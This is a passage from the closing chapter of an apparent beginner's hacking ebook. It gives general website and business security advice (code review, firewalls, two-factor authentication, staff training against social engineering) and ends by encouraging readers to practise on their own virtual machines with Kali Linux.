malicious codes or payloads into a program that runs on the user’s end.

The Defensive Measures
To protect your website from malicious attacks, you should:
Ask skilled programmers to review the codes on your website.
Run code scanners.
Offer rewards to people who will detect existing bugs within your site.
Make sure that your site has WAF (Web App Firewall). This type of firewall
monitors your system and prevents potential attacks.
Implement CAPTCHA or ask website visitors to answer a question. This way, you
can make sure that each request comes from a human.

How to Keep Your Business Secure
Here are some practical tips that you can use in protecting your business:
Don’t store irrelevant customer information – Your website will be a tasty target for
hackers if it contains various customer related information. If you want to protect
your business, don’t save information that you are not going to use. For example,
refrain from storing the credit card information of your customers if you don’t need
it for your business.
Hacking is a difficult activity. Hackers won’t attack you if your website doesn’t have
anything worthy of stealing. Storing customer information is convenient. However, the
risks involved here outweigh the benefits.
Make sure that you have the right technology – Hackers rely on modern tools and
newly-discovered vulnerabilities. Your business won’t be able to survive a hacking
attack if it relies on outdated technology. It would be best if you’ll implement a
two-factor authentication before giving access to confidential information.
Educate your people – The defense of your network is as powerful as your weakest
employee. Keep in mind that hackers can use social engineering tactics. If one of
your employees falls for such tricks, the security of your business will be in danger.
Your firewall and flawless website codes won’t matter if your employees are
reckless when dealing with their passwords.
These days, digital security is everyone’s job. Educate your employees regarding the
importance of vigilance and carefulness, especially when handling confidential
information. In addition, train your people on how to identify social engineering tactics.

I hope this book was able to help you learn the basics of hacking.
The next step is to practice your hacking and programming skills on a regular basis.
Computer technology evolves at a blinding pace. You must keep on studying the latest
hacking techniques. You should also keep your arsenal up-to-date. More and more hackers
are sharing their tools with others. If you want to become a successful hacker and
penetration tester, your collection of tools should have the newest and strongest programs.
Programming is an important aspect of hacking. You will gain a huge improvement in
your hacking skills if you’ll know how to use various computer languages. The third
chapter of this book explained the basics of Python. Read that material several times in
order for you to understand the syntax of the Python language. It is true that Python is one
of the simplest languages out there. However, it is powerful enough to create a wide range
of hacking tools.
It is also important to practice your hacking skills. Download different operating systems
and run them as virtual machines. Then, attack them using Kali Linux.
By learning how to program and keeping yourself updated with the latest hacking
techniques, you’ll become an experienced hacker in no time.
Finally, if you loved reading this book, please don’t hesitate to leave a review on Amazon
– every praise or constructive comment counts.
Thank you again for downloading this book!